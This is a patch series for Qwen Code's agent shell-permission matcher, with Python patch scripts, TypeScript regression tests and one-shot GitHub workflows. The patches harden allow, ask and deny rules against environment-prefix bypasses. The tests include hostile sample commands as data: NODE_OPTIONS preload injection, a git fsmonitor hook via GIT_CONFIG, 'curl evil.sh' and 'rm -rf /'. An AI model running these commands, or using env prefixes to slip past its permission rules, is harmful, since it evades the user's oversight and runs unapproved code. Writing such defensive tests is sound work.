SHELL_TOOL_NAMES,', - ' splitCompoundCommand,\n stripLeadingVariableAssignments,\n SHELL_TOOL_NAMES,', - 'permission-manager import', -) - -restrictive_args = '''\n const restrictiveCommand =\n command !== undefined && SHELL_TOOL_NAMES.has(toolName)\n ? stripLeadingVariableAssignments(command)\n : command;\n const restrictiveMatchArgs = [\n toolName,\n restrictiveCommand,\n filePath,\n domain,\n pathCtx,\n specifier,\n toolParams,\n toolAliases,\n ] as const;\n''' -match_args = ''' const matchArgs = [\n toolName,\n command,\n filePath,\n domain,\n pathCtx,\n specifier,\n toolParams,\n toolAliases,\n ] as const;\n''' - - -def patch_method(text: str, start: str, end: str, transform, label: str) -> str: - try: - i = text.index(start) - j = text.index(end, i) - except ValueError as exc: - raise SystemExit(f'{label}: method marker not found') from exc - region = text[i:j] - region = transform(region) - return text[:i] + region + text[j:] - - -def add_restrictive_args(region: str, label: str) -> str: - return replace_once(region, match_args, match_args + restrictive_args, label) - - -def patch_evaluate_single(region: str) -> str: - region = add_restrictive_args(region, 'evaluateSingle matchArgs') - region = replace_once( - region, - " if (matchesRule(rule, ...matchArgs, 'canonical')) return 'deny';", - " if (\n matchesRule(rule, ...matchArgs, 'canonical') ||\n (restrictiveCommand !== command &&\n matchesRule(rule, ...restrictiveMatchArgs, 'canonical'))\n )\n return 'deny';", - 'evaluateSingle deny', - ) - region = replace_once( - region, - " if (matchesRule(rule, ...matchArgs, 'canonical')) return 'ask';", - " if (\n matchesRule(rule, ...matchArgs, 'canonical') ||\n (restrictiveCommand !== command &&\n matchesRule(rule, ...restrictiveMatchArgs, 'canonical'))\n )\n return 'ask';", - 'evaluateSingle ask', - ) - return region - - -s = patch_method( - s, - ' private evaluateSingle(', - ' /**\n * Evaluate a list of virtual operations', - patch_evaluate_single, - 'evaluateSingle', -) - - -def patch_find_deny(region: str) -> str: - region = add_restrictive_args(region, 'findMatchingDenyRule matchArgs') - region = replace_once( - region, - " if (matchesRule(rule, ...matchArgs, 'canonical')) {\n return rule.raw;\n }", - " if (\n matchesRule(rule, ...matchArgs, 'canonical') ||\n (restrictiveCommand !== command &&\n matchesRule(rule, ...restrictiveMatchArgs, 'canonical'))\n ) {\n return rule.raw;\n }", - 'findMatchingDenyRule match', - ) - return region - - -s = patch_method( - s, - ' findMatchingDenyRule(', - ' // ---------------------------------------------------------------------------\n // Shell command helper', - patch_find_deny, - 'findMatchingDenyRule', -) - - -def patch_relevant(region: str) -> str: - region = add_restrictive_args(region, 'hasRelevantRules matchArgs') - old = ''' return (\n restrictiveRules.some((rule) =>\n matchesRule(rule, ...matchArgs, 'canonical'),\n ) || allowRules.some((rule) => matchesRule(rule, ...matchArgs))\n );''' - new = ''' return (\n restrictiveRules.some(\n (rule) =>\n matchesRule(rule, ...matchArgs, 'canonical') ||\n (restrictiveCommand !== command &&\n matchesRule(rule, ...restrictiveMatchArgs, 'canonical')),\n ) || allowRules.some((rule) => matchesRule(rule, ...matchArgs))\n );''' - return replace_once(region, old, new, 'hasRelevantRules return') - - -s = patch_method( - s, - ' hasRelevantRules(', - ' /**\n * Returns true when the invocation is matched by an explicit `ask` rule.', - patch_relevant, - 'hasRelevantRules', -) - - -def patch_ask(region: str) -> str: - region = add_restrictive_args(region, 'hasMatchingAskRule matchArgs') - old = ''' return askRules.some((rule) =>\n matchesRule(rule, ...matchArgs, 'canonical'),\n );''' - new = ''' return askRules.some(\n (rule) =>\n matchesRule(rule, ...matchArgs, 'canonical') ||\n (restrictiveCommand !== command &&\n matchesRule(rule, ...restrictiveMatchArgs, 'canonical')),\n );''' - return replace_once(region, old, new, 'hasMatchingAskRule return') - - -s = patch_method( - s, - ' hasMatchingAskRule(', - ' private hasAskRuleForTool(', - patch_ask, - 'hasMatchingAskRule', -) -p.write_text(s) - - -# --------------------------------------------------------------------------- -# shellAstParser.ts — generated Always-Allow rules retain env assignments. -# --------------------------------------------------------------------------- -p = Path('packages/core/src/utils/shellAstParser.ts') -s = p.read_text() -new_extract = r'''function extractRuleFromCommand(commandNode: SyntaxNode): string | null { - const rootName = getCommandName(commandNode); - if (!rootName) return null; - - const nameNode = commandNode.childForFieldName('name'); - const envPrefix = nameNode - ? commandNode.namedChildren - .filter( - (child) => - /^variable_assignments?$/.test(child.type) && - child.endIndex <= nameNode.startIndex, - ) - .map((child) => child.text) - .join(' ') - : ''; - const qualifiedRoot = envPrefix ? `${envPrefix} ${rootName}` : rootName; - - const argNodes = getArgumentNodes(commandNode); - const argTexts = argNodes.map((n) => n.text); - - // Skip leading flags to find potential subcommand - let idx = 0; - while (idx < argTexts.length && argTexts[idx]!.startsWith('-')) { - idx++; - } - - const knownSubs = KNOWN_SUBCOMMANDS[rootName]; - let rule = qualifiedRoot; - - if (knownSubs && knownSubs.size > 0 && idx < argTexts.length) { - const potentialSub = argTexts[idx]!.toLowerCase(); - if (knownSubs.has(potentialSub)) { - rule = `${qualifiedRoot} ${argTexts[idx]!}`; - - // Docker multi-level: docker compose - if ( - rootName === 'docker' && - potentialSub === 'compose' && - idx + 1 < argTexts.length - ) { - const composeSub = argTexts[idx + 1]!.toLowerCase(); - if (DOCKER_COMPOSE_SUBCOMMANDS.has(composeSub)) { - rule = `${qualifiedRoot} compose ${argTexts[idx + 1]!}`; - if (idx + 2 < argTexts.length) { - rule += ' *'; - } - return rule; - } - } - - if (idx + 1 < argTexts.length) { - rule += ' *'; - } - return rule; - } - } - - if (argTexts.length > 0) { - rule += ' *'; - } - - return rule; -}''' -s = replace_region( - s, - 'function extractRuleFromCommand(commandNode: SyntaxNode): string | null {', - '/**\n * Recursively extract rules from a statement node.', - new_extract, - 'extractRuleFromCommand', -) -p.write_text(s) - - -# --------------------------------------------------------------------------- -# shellAstParser.test.ts — pin env-aware grant generation. -# --------------------------------------------------------------------------- -p = Path('packages/core/src/utils/shellAstParser.test.ts') -s = p.read_text() -old = ''' it('handles env var prefix', async () => {\n expect(await extractCommandRules('FOO=bar npm install')).toEqual([\n 'npm install',\n ]);\n });''' -new = ''' it('preserves env var prefixes in generated rules', async () => {\n expect(await extractCommandRules('FOO=bar npm install')).toEqual([\n 'FOO=bar npm install',\n ]);\n expect(await extractCommandRules('FOO=bar npm install express')).toEqual([\n 'FOO=bar npm install *',\n ]);\n expect(await extractCommandRules('FOO=bar docker compose up -d')).toEqual([\n 'FOO=bar docker compose up *',\n ]);\n });''' -s = replace_once(s, old, new, 'shellAstParser env test') -p.write_text(s) - - -# --------------------------------------------------------------------------- -# Dedicated regression suite — all review acceptance criteria. -# --------------------------------------------------------------------------- -p = Path('packages/core/src/permissions/rule-parser.env-prefix.test.ts') -p.write_text(r'''/** - * @license - * Copyright 2025 Qwen team - * SPDX-License-Identifier: Apache-2.0 - */ - -import { describe, expect, it } from 'vitest'; -import { evaluatePermissionRules } from '../core/permission-helpers.js'; -import { extractCommandRules } from '../utils/shellAstParser.js'; -import { - findDangerousAllowRules, - isDangerousBashRule, -} from './dangerousRules.js'; -import { PermissionManager } from './permission-manager.js'; -import type { PermissionManagerConfig } from './permission-manager.js'; -import { matchesCommandPattern, parseRule } from './rule-parser.js'; - -function makeConfig( - allow: string[] = [], - ask: string[] = [], - deny: string[] = [], -): PermissionManagerConfig { - return { - getPermissionsAllow: () => allow, - getPermissionsAsk: () => ask, - getPermissionsDeny: () => deny, - getProjectRoot: () => '/repo', - getCwd: () => '/repo', - getApprovalMode: () => 'default', - }; -} - -describe('matchesCommandPattern environment prefixes', () => { - it('keeps plain commands matching', () => { - expect(matchesCommandPattern('npm --version', 'npm --version')).toBe(true); - expect(matchesCommandPattern('python3 *', 'python3 -c "print(1)"')).toBe( - true, - ); - }); - - it('does not let static env prefixes inherit exact or prefix rules', () => { - expect( - matchesCommandPattern('npm --version', 'FOO=bar npm --version'), - ).toBe(false); - expect(matchesCommandPattern('npm', 'FOO=bar npm --version')).toBe(false); - }); - - it('does not let NODE_OPTIONS widen an npm allow rule', () => { - expect( - matchesCommandPattern( - 'npm --version', - 'NODE_OPTIONS=--require=/tmp/preload.cjs npm --version', - ), - ).toBe(false); - }); - - it('does not let GIT_CONFIG_* widen a git allow rule', () => { - expect( - matchesCommandPattern( - 'git status --short', - 'GIT_CONFIG_COUNT=1 GIT_CONFIG_KEY_0=core.fsmonitor GIT_CONFIG_VALUE_0=/tmp/fsmonitor.sh git status --short', - ), - ).toBe(false); - }); - - it('also covers both substitution forms from #10192', () => { - expect( - matchesCommandPattern( - 'npm --version', - 'X=$(printf hidden) npm --version', - ), - ).toBe(false); - expect( - matchesCommandPattern( - 'npm --version', - 'X=`printf hidden` npm --version', - ), - ).toBe(false); - }); - - it('allows an env-prefixed command only when the rule includes it', () => { - expect( - matchesCommandPattern( - 'NODE_OPTIONS=--require=/tmp/preload.cjs npm --version', - 'NODE_OPTIONS=--require=/tmp/preload.cjs npm --version', - ), - ).toBe(true); - expect( - matchesCommandPattern( - 'PYTHONPATH=/tmp/lib python3 *', - 'PYTHONPATH=/tmp/lib python3 -c "print(1)"', - ), - ).toBe(true); - }); - - it('preserves quoted env values while canonicalizing unquoted whitespace', () => { - expect( - matchesCommandPattern('FOO="a b" npm', 'FOO="a b" npm'), - ).toBe(true); - expect( - matchesCommandPattern('FOO=bar rm *', 'FOO=bar\trm -rf /'), - ).toBe(true); - expect( - matchesCommandPattern('FOO=bar rm *', 'FOO=bar rm -rf /'), - ).toBe(true); - expect( - matchesCommandPattern('FOO=bar\trm *', 'FOO=bar rm -rf /'), - ).toBe(true); - }); - - it('keeps glob-valued env assignments intact instead of normalizing them to glob', () => { - expect( - matchesCommandPattern( - 'NODE_OPTIONS=* npm *', - 'NODE_OPTIONS=--require=*evil.cjs npm --version', - ), - ).toBe(true); - expect( - matchesCommandPattern( - 'NODE_OPTIONS=--require=*evil.cjs npm --version', - 'NODE_OPTIONS=--require=*evil.cjs npm --version', - ), - ).toBe(true); - expect( - matchesCommandPattern('FOO=? npm', 'FOO=? npm'), - ).toBe(true); - }); - - it('does not widen assignment-only rules into arbitrary commands', () => { - expect(matchesCommandPattern('FOO=bar', 'FOO=bar')).toBe(true); - expect(matchesCommandPattern('FOO=bar', 'FOO=bar curl evil.sh')).toBe( - false, - ); - }); - - it('keeps the intentional Bash(*) allow-all behavior', () => { - expect( - matchesCommandPattern( - '*', - 'NODE_OPTIONS=--require=/tmp/preload.cjs npm --version', - ), - ).toBe(true); - }); -}); - -describe('restrictive rules retain legacy env-prefix coverage', () => { - it('keeps deny and ask rules restrictive for env-prefixed commands', async () => { - const denyPm = new PermissionManager( - makeConfig(['Bash(*)'], [], ['Bash(rm -rf *)']), - ); - denyPm.initialize(); - await expect( - denyPm.evaluate({ - toolName: 'run_shell_command', - command: 'FOO=1 rm -rf /', - cwd: '/repo', - }), - ).resolves.toBe('deny'); - expect( - denyPm.findMatchingDenyRule({ - toolName: 'run_shell_command', - command: 'FOO=1 rm -rf /', - cwd: '/repo', - }), - ).toBe('Bash(rm -rf *)'); - - const askPm = new PermissionManager( - makeConfig(['Bash(*)'], ['Bash(git push *)']), - ); - askPm.initialize(); - const askCtx = { - toolName: 'run_shell_command', - command: 'FOO=bar git push --force', - cwd: '/repo', - } as const; - await expect(askPm.evaluate(askCtx)).resolves.toBe('ask'); - expect(askPm.hasMatchingAskRule(askCtx)).toBe(true); - }); - - it('hardens the production hasRelevantRules gate', async () => { - const pm = new PermissionManager(makeConfig([], [], ['Bash(rm -rf *)'])); - pm.initialize(); - const result = await evaluatePermissionRules(pm, 'allow', { - toolName: 'run_shell_command', - command: 'FOO=1 rm -rf /', - cwd: '/repo', - }); - expect(result.finalPermission).toBe('deny'); - }); - - it('does not let a virtual Read allow downgrade the env-prefix ask decision', async () => { - const pm = new PermissionManager( - makeConfig(['Bash(cat /repo/file)', 'Read']), - ); - pm.initialize(); - await expect( - pm.evaluate({ - toolName: 'run_shell_command', - command: 'NODE_OPTIONS=--require=/tmp/preload.cjs cat /repo/file', - cwd: '/repo', - }), - ).resolves.toBe('ask'); - }); -}); - -describe('env-prefixed grant generation and AUTO classification', () => { - it('round-trips an Always-Allow rule through the matcher', async () => { - const rules = await extractCommandRules('FOO=bar npm install'); - expect(rules).toEqual(['FOO=bar npm install']); - - const pm = new PermissionManager(makeConfig([`Bash(${rules[0]})`])); - pm.initialize(); - await expect( - pm.evaluate({ - toolName: 'run_shell_command', - command: 'FOO=bar npm install', - cwd: '/repo', - }), - ).resolves.toBe('allow'); - }); - - it('classifies env-prefixed interpreter allows as dangerous in AUTO mode', () => { - const python = parseRule('Bash(X=1 python *)'); - const npx = parseRule('Bash(FOO=bar npx *)'); - expect(isDangerousBashRule(python)).toBe(true); - expect(isDangerousBashRule(npx)).toBe(true); - expect(findDangerousAllowRules([python, npx])).toEqual([python, npx]); - }); -}); -''') - -print('PR 10212 source and regression patches applied') From c8ec515785e0137d26abbbe605a3ea01b73e32a2 Mon Sep 17 00:00:00 2001 From: SLP-DEV1 Date: Sat, 29 Aug 2026 21:24:33 +0200 Subject: [PATCH 21/36] chore: update PR branch from upstream main --- .github/workflows/update-pr10212-branch.yml | 34 +++++++++++++++++++++ 1 file changed, 34 insertions(+) create mode 100644 .github/workflows/update-pr10212-branch.yml diff --git a/.github/workflows/update-pr10212-branch.yml b/.github/workflows/update-pr10212-branch.yml new file mode 100644 index 00000000000..cf5adea9d36 --- /dev/null +++ b/.github/workflows/update-pr10212-branch.yml @@ -0,0 +1,34 @@ +name: Update PR 10212 branch + +on: + push: + branches: + - fix/10197-env-prefix-bash-rules + paths: + - .github/workflows/update-pr10212-branch.yml + +permissions: + contents: write + +jobs: + update-branch: + runs-on: ubuntu-latest + timeout-minutes: 10 + steps: + - uses: actions/checkout@v4 + with: + fetch-depth: 0 + + - name: Merge latest upstream main + run: | + git config user.name "SLP-DEV1" + git config user.email "298325363+SLP-DEV1@users.noreply.github.com" + git remote add upstream https://github.com/QwenLM/qwen-code.git + git fetch upstream main + git merge --no-edit upstream/main + + - name: Remove one-shot updater and push + run: | + git rm .github/workflows/update-pr10212-branch.yml + git commit -m "chore: remove PR branch updater" + git push origin HEAD:fix/10197-env-prefix-bash-rules From 1386698e88d3285a9893d548dd6510ee4b0527d5 Mon Sep 17 00:00:00 2001 From: SLP-DEV1 <298325363+SLP-DEV1@users.noreply.github.com> Date: Sat, 29 Aug 2026 19:24:57 +0000 Subject: [PATCH 22/36] chore: remove PR branch updater --- .github/workflows/update-pr10212-branch.yml | 34 --------------------- 1 file changed, 34 deletions(-) delete mode 100644 .github/workflows/update-pr10212-branch.yml diff --git a/.github/workflows/update-pr10212-branch.yml b/.github/workflows/update-pr10212-branch.yml deleted file mode 100644 index cf5adea9d36..00000000000 --- a/.github/workflows/update-pr10212-branch.yml +++ /dev/null @@ -1,34 +0,0 @@ -name: Update PR 10212 branch - -on: - push: - branches: - - fix/10197-env-prefix-bash-rules - paths: - - .github/workflows/update-pr10212-branch.yml - -permissions: - contents: write - -jobs: - update-branch: - runs-on: ubuntu-latest - timeout-minutes: 10 - steps: - - uses: actions/checkout@v4 - with: - fetch-depth: 0 - - - name: Merge latest upstream main - run: | - git config user.name "SLP-DEV1" - git config user.email "298325363+SLP-DEV1@users.noreply.github.com" - git remote add upstream https://github.com/QwenLM/qwen-code.git - git fetch upstream main - git merge --no-edit upstream/main - - - name: Remove one-shot updater and push - run: | - git rm .github/workflows/update-pr10212-branch.yml - git commit -m "chore: remove PR branch updater" - git push origin HEAD:fix/10197-env-prefix-bash-rules From 277c292b3ab4bf69d31791c8f79ee4ce5dfb7eb8 Mon Sep 17 00:00:00 2001 From: SLP-DEV1 Date: Mon, 31 Aug 2026 01:47:18 +0200 Subject: [PATCH 23/36] chore: apply reviewed PR 10212 R3 fixes --- .github/workflows/finalize-pr-10212-r4.yml | 750 +++++++++++++++++++++ 1 file changed, 750 insertions(+) create mode 100644 .github/workflows/finalize-pr-10212-r4.yml diff --git a/.github/workflows/finalize-pr-10212-r4.yml b/.github/workflows/finalize-pr-10212-r4.yml new file mode 100644 index 00000000000..fc09ad6129d --- /dev/null +++ b/.github/workflows/finalize-pr-10212-r4.yml @@ -0,0 +1,750 @@ +name: Finalize PR 10212 R4 + +on: + push: + branches: + - fix/10197-env-prefix-bash-rules + paths: + - .github/workflows/finalize-pr-10212-r4.yml + +permissions: + contents: write + +jobs: + apply-reviewed-fixes: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + with: + ref: fix/10197-env-prefix-bash-rules + fetch-depth: 0 + + - uses: actions/setup-node@v4 + with: + node-version: 22 + cache: npm + + - name: Apply R3 review fixes and regression tests + shell: bash + run: | + python3 <<'PY' + from pathlib import Path + + def replace_once(text: str, old: str, new: str, label: str) -> str: + count = text.count(old) + if count != 1: + raise SystemExit(f'{label}: expected exactly one match, found {count}') + return text.replace(old, new, 1) + + parser_path = Path('packages/core/src/permissions/rule-parser.ts') + parser = parser_path.read_text() + + parser = replace_once( + parser, + r''' if (specifierKind === 'command') { + rawSpecifier = rawSpecifier.replace(/:(\*)/g, ' $1'); + } + ''', + r''' if (specifierKind === 'command') { + // Legacy `:*` is a token-level shorthand. Do not rewrite occurrences + // inside env assignment values, which are now part of Bash identity. + rawSpecifier = rawSpecifier.replace( + /(^|[ \t\n])([^ \t\n="'`=]+):\*(?=$|[ \t\n])/g, + '$1$2 *', + ); + } + ''', + 'scope legacy colon-star rewrite', + ) + + old_matcher = r'''export function matchesCommandPattern( + pattern: string, + command: string, + ): boolean { + // This function matches a single pattern against a single simple command. + // Compound command splitting is handled by the caller (PermissionManager). + const normalizedCommand = normalizeCommandForPermissionMatch(command); + const normalizedPattern = collapseUnquotedWhitespace(pattern.trim()); + + // Special case: lone `*` matches any single command. + if (normalizedPattern === '*') { + return true; + } + + if (!normalizedPattern.includes('*')) { + // An assignment-only rule is an identity, not a command prefix. Without + // this guard `Bash(FOO=bar)` would authorize `FOO=bar `. + if (isAssignmentOnlyPermissionPattern(normalizedPattern)) { + return normalizedCommand === normalizedPattern; + } + + // No wildcards: prefix matching (backward compat). + // "git commit" matches "git commit" and "git commit -m test" + // but NOT "gitcommit". + return ( + normalizedCommand === normalizedPattern || + normalizedCommand.startsWith(normalizedPattern + ' ') + ); + } + + // Build regex from glob pattern with word-boundary semantics. + let regex = '^'; + let pos = 0; + + while (pos < normalizedPattern.length) { + const starIdx = normalizedPattern.indexOf('*', pos); + if (starIdx === -1) { + regex += escapeRegex(normalizedPattern.substring(pos)); + break; + } + + const literalBefore = normalizedPattern.substring(pos, starIdx); + + if (starIdx > 0 && normalizedPattern[starIdx - 1] === ' ') { + const literalWithoutTrailingSpace = literalBefore.slice(0, -1); + regex += escapeRegex(literalWithoutTrailingSpace); + regex += '( .*)?'; + } else { + regex += escapeRegex(literalBefore); + regex += '.*'; + } + + pos = starIdx + 1; + } + + regex += '$'; + + try { + return new RegExp(regex, 's').test(normalizedCommand); + } catch { + return normalizedCommand === normalizedPattern; + } + } + ''' + + new_matcher = r'''export function matchesCommandPattern( + pattern: string, + command: string, + ): boolean { + // This function matches a single pattern against a single simple command. + // Compound command splitting is handled by the caller (PermissionManager). + const normalizedCommand = normalizeCommandForPermissionMatch(command); + const normalizedPattern = collapseUnquotedWhitespace( + trimShellIfsWhitespace(pattern), + ); + + // Special case: lone `*` matches any single command. + if (normalizedPattern === '*') { + return true; + } + + // Assignment-only rules are identities, never command prefixes. Keep this + // invariant above the wildcard split so `Bash(FOO=*)` cannot authorize + // `FOO=value `. + if ( + isAssignmentOnlyPermissionPattern(normalizedPattern) && + !isAssignmentOnlyPermissionPattern(normalizedCommand) + ) { + return false; + } + + if (!normalizedPattern.includes('*')) { + if (isAssignmentOnlyPermissionPattern(normalizedPattern)) { + return normalizedCommand === normalizedPattern; + } + + // No wildcards: prefix matching (backward compat). + // "git commit" matches "git commit" and "git commit -m test" + // but NOT "gitcommit". + return ( + normalizedCommand === normalizedPattern || + normalizedCommand.startsWith(normalizedPattern + ' ') + ); + } + + // Build regex from glob pattern with word-boundary semantics. An unquoted + // wildcard in a leading NAME=value word is constrained to that shell word; + // otherwise it could consume whitespace and match a different executable. + const assignmentValueWildcards = + findUnquotedAssignmentValueWildcardPositions(normalizedPattern); + let regex = '^'; + let pos = 0; + + while (pos < normalizedPattern.length) { + const starIdx = normalizedPattern.indexOf('*', pos); + if (starIdx === -1) { + regex += escapeRegex(normalizedPattern.substring(pos)); + break; + } + + const literalBefore = normalizedPattern.substring(pos, starIdx); + + if (starIdx > 0 && normalizedPattern[starIdx - 1] === ' ') { + const literalWithoutTrailingSpace = literalBefore.slice(0, -1); + regex += escapeRegex(literalWithoutTrailingSpace); + regex += '( .*)?'; + } else { + regex += escapeRegex(literalBefore); + regex += assignmentValueWildcards.has(starIdx) ? '[^ ]*' : '.*'; + } + + pos = starIdx + 1; + } + + regex += '$'; + + try { + return new RegExp(regex, 's').test(normalizedCommand); + } catch { + return normalizedCommand === normalizedPattern; + } + } + ''' + parser = replace_once(parser, old_matcher, new_matcher, 'replace command matcher') + + old_helpers = r'''export const ENV_ASSIGNMENT_REGEX = /^[A-Za-z_][A-Za-z0-9_]*=/; + + function permissionMatchTokens(command: string): string[] { + const tokens: string[] = []; + for (const token of parse(command)) { + if (typeof token === 'string') { + tokens.push(token); + } else if (token && typeof token === 'object' && 'op' in token) { + if ( + token.op === 'glob' && + 'pattern' in token && + typeof token.pattern === 'string' + ) { + // shell-quote represents unquoted * / ? words as glob tokens. Keep + // the original word so env assignments remain recognizable. + tokens.push(token.pattern); + } else if (typeof token.op === 'string') { + tokens.push(token.op); + } + } + } + return tokens; + } + + /** + * Return a shell command with only leading NAME=value assignments removed. + * Restrictive deny/ask matching uses this legacy identity in addition to the + * full identity so the new allow hardening can never narrow a restriction. + */ + export function stripLeadingVariableAssignments(command: string): string { + const trimmed = command.trim(); + if (!trimmed) return trimmed; + + try { + const tokens = permissionMatchTokens(trimmed); + let firstCommandToken = 0; + while ( + firstCommandToken < tokens.length && + ENV_ASSIGNMENT_REGEX.test(tokens[firstCommandToken]!) + ) { + firstCommandToken++; + } + if (firstCommandToken === 0) return trimmed; + return tokens.slice(firstCommandToken).join(' '); + } catch { + return trimmed; + } + } + + /** Collapse shell-equivalent whitespace outside quotes while retaining quotes. */ + function collapseUnquotedWhitespace(command: string): string { + let result = ''; + let quote: "'" | '"' | '`' | null = null; + let escaped = false; + let pendingSpace = false; + + for (const ch of command) { + if (escaped) { + result += ch; + escaped = false; + continue; + } + if (ch === '\\' && quote !== "'") { + if (pendingSpace && result) result += ' '; + pendingSpace = false; + result += ch; + escaped = true; + continue; + } + if (quote) { + result += ch; + if (ch === quote) quote = null; + continue; + } + if (ch === "'" || ch === '"' || ch === '`') { + if (pendingSpace && result) result += ' '; + pendingSpace = false; + quote = ch; + result += ch; + continue; + } + if (/\s/.test(ch)) { + if (result) pendingSpace = true; + continue; + } + if (pendingSpace && result) result += ' '; + pendingSpace = false; + result += ch; + } + + return result; + } + + function isAssignmentOnlyPermissionPattern(pattern: string): boolean { + try { + const tokens = permissionMatchTokens(pattern); + return ( + tokens.length > 0 && + tokens.every((token) => ENV_ASSIGNMENT_REGEX.test(token)) + ); + } catch { + return false; + } + } + + function normalizeCommandForPermissionMatch(command: string): string { + const trimmed = command.trim(); + if (!trimmed) return trimmed; + + try { + const tokens = permissionMatchTokens(trimmed); + let firstCommandToken = 0; + while ( + firstCommandToken < tokens.length && + ENV_ASSIGNMENT_REGEX.test(tokens[firstCommandToken]!) + ) { + firstCommandToken++; + } + + // Allow rules bind to the complete env-prefixed execution identity, but + // shell-equivalent unquoted whitespace is canonicalized on both sides. + if (firstCommandToken > 0) { + return collapseUnquotedWhitespace(trimmed); + } + + return tokens.join(' '); + } catch { + return collapseUnquotedWhitespace(trimmed); + } + } + ''' + + new_helpers = r'''export const ENV_ASSIGNMENT_REGEX = /^[A-Za-z_][A-Za-z0-9_]*=/; + + function isShellIfsWhitespace(ch: string): boolean { + return ch === ' ' || ch === '\t' || ch === '\n'; + } + + function trimShellIfsWhitespace(value: string): string { + let start = 0; + let end = value.length; + while (start < end && isShellIfsWhitespace(value[start]!)) start++; + while (end > start && isShellIfsWhitespace(value[end - 1]!)) end--; + return value.slice(start, end); + } + + /** + * shell-quote treats JavaScript whitespace more broadly than Bash's default + * IFS. Protect non-IFS whitespace so it remains inside the shell word Bash + * would actually execute, then restore it in the parsed token text. + */ + function protectNonIfsWhitespace(command: string): { + protectedCommand: string; + restore: (value: string) => string; + } { + const replacements = new Map(); + let protectedCommand = ''; + let markerIndex = 0; + + for (const ch of command) { + if (/\s/u.test(ch) && !isShellIfsWhitespace(ch)) { + let marker = `\uE000QWEN_WS_${markerIndex++}\uE001`; + while (command.includes(marker) || replacements.has(marker)) { + marker = `\uE000QWEN_WS_${markerIndex++}\uE001`; + } + replacements.set(marker, ch); + protectedCommand += marker; + } else { + protectedCommand += ch; + } + } + + return { + protectedCommand, + restore(value: string): string { + let restored = value; + for (const [marker, original] of replacements) { + restored = restored.replaceAll(marker, original); + } + return restored; + }, + }; + } + + function permissionMatchTokens(command: string): string[] { + const tokens: string[] = []; + const { protectedCommand, restore } = protectNonIfsWhitespace(command); + for (const token of parse(protectedCommand)) { + if (typeof token === 'string') { + tokens.push(restore(token)); + } else if (token && typeof token === 'object' && 'op' in token) { + if ( + token.op === 'glob' && + 'pattern' in token && + typeof token.pattern === 'string' + ) { + // shell-quote represents unquoted * / ? words as glob tokens. Keep + // the original word so env assignments remain recognizable. + tokens.push(restore(token.pattern)); + } else if (typeof token.op === 'string') { + tokens.push(token.op); + } + } + } + return tokens; + } + + /** + * Return a shell command with only leading NAME=value assignments removed. + * Restrictive deny/ask matching uses this legacy identity in addition to the + * full identity so the new allow hardening can never narrow a restriction. + */ + export function stripLeadingVariableAssignments(command: string): string { + const trimmed = trimShellIfsWhitespace(command); + if (!trimmed) return trimmed; + + try { + const tokens = permissionMatchTokens(trimmed); + let firstCommandToken = 0; + while ( + firstCommandToken < tokens.length && + ENV_ASSIGNMENT_REGEX.test(tokens[firstCommandToken]!) + ) { + firstCommandToken++; + } + if (firstCommandToken === 0) return trimmed; + return tokens.slice(firstCommandToken).join(' '); + } catch { + return trimmed; + } + } + + /** Collapse Bash-IFS whitespace outside quotes while retaining quotes. */ + function collapseUnquotedWhitespace(command: string): string { + let result = ''; + let quote: "'" | '"' | '`' | null = null; + let escaped = false; + let pendingSpace = false; + + for (const ch of command) { + if (escaped) { + result += ch; + escaped = false; + continue; + } + if (ch === '\\' && quote !== "'") { + if (pendingSpace && result) result += ' '; + pendingSpace = false; + result += ch; + escaped = true; + continue; + } + if (quote) { + result += ch; + if (ch === quote) quote = null; + continue; + } + if (ch === "'" || ch === '"' || ch === '`') { + if (pendingSpace && result) result += ' '; + pendingSpace = false; + quote = ch; + result += ch; + continue; + } + if (isShellIfsWhitespace(ch)) { + if (result) pendingSpace = true; + continue; + } + if (pendingSpace && result) result += ' '; + pendingSpace = false; + result += ch; + } + + return result; + } + + function isAssignmentOnlyPermissionPattern(pattern: string): boolean { + try { + const tokens = permissionMatchTokens(pattern); + return ( + tokens.length > 0 && + tokens.every((token) => ENV_ASSIGNMENT_REGEX.test(token)) + ); + } catch { + return false; + } + } + + function findUnquotedAssignmentValueWildcardPositions( + pattern: string, + ): Set { + const positions = new Set(); + let quote: "'" | '"' | '`' | null = null; + let escaped = false; + let wordStart = 0; + let leadingAssignments = true; + + for (let i = 0; i < pattern.length; i++) { + const ch = pattern[i]!; + if (escaped) { + escaped = false; + continue; + } + if (ch === '\\' && quote !== "'") { + escaped = true; + continue; + } + if (quote) { + if (ch === quote) quote = null; + continue; + } + if (ch === "'" || ch === '"' || ch === '`') { + quote = ch; + continue; + } + if (ch === ' ') { + if (leadingAssignments) { + const word = pattern.slice(wordStart, i); + if (word && !ENV_ASSIGNMENT_REGEX.test(word)) { + leadingAssignments = false; + } + } + wordStart = i + 1; + continue; + } + if (ch === '*' && leadingAssignments) { + const beforeStar = pattern.slice(wordStart, i); + if (/^[A-Za-z_][A-Za-z0-9_]*=/.test(beforeStar)) { + positions.add(i); + } + } + } + + return positions; + } + + function normalizeCommandForPermissionMatch(command: string): string { + const trimmed = trimShellIfsWhitespace(command); + if (!trimmed) return trimmed; + + try { + const tokens = permissionMatchTokens(trimmed); + let firstCommandToken = 0; + while ( + firstCommandToken < tokens.length && + ENV_ASSIGNMENT_REGEX.test(tokens[firstCommandToken]!) + ) { + firstCommandToken++; + } + + // Allow rules bind to the complete env-prefixed execution identity, but + // Bash-IFS whitespace outside quotes is canonicalized on both sides. + if (firstCommandToken > 0) { + return collapseUnquotedWhitespace(trimmed); + } + + return tokens.join(' '); + } catch { + return collapseUnquotedWhitespace(trimmed); + } + } + ''' + parser = replace_once(parser, old_helpers, new_helpers, 'replace env matching helpers') + parser_path.write_text(parser) + + test_path = Path('packages/core/src/permissions/rule-parser.env-prefix.test.ts') + tests = test_path.read_text() + + tests = replace_once( + tests, + r''' it('does not widen assignment-only rules into arbitrary commands', () => { + expect(matchesCommandPattern('FOO=bar', 'FOO=bar')).toBe(true); + expect(matchesCommandPattern('FOO=bar', 'FOO=bar curl evil.sh')).toBe( + false, + ); + }); + ''', + r''' it('does not widen assignment-only rules into arbitrary commands', () => { + expect(matchesCommandPattern('FOO=bar', 'FOO=bar')).toBe(true); + expect(matchesCommandPattern('FOO=bar', 'FOO=bar curl evil.sh')).toBe( + false, + ); + expect(matchesCommandPattern('FOO=*', 'FOO=bar')).toBe(true); + expect(matchesCommandPattern('FOO=*', 'FOO=bar curl evil.sh')).toBe( + false, + ); + }); + + it('keeps env-value wildcards inside the assignment shell word', () => { + expect( + matchesCommandPattern( + 'NODE_OPTIONS=* npm *', + 'NODE_OPTIONS=x sh 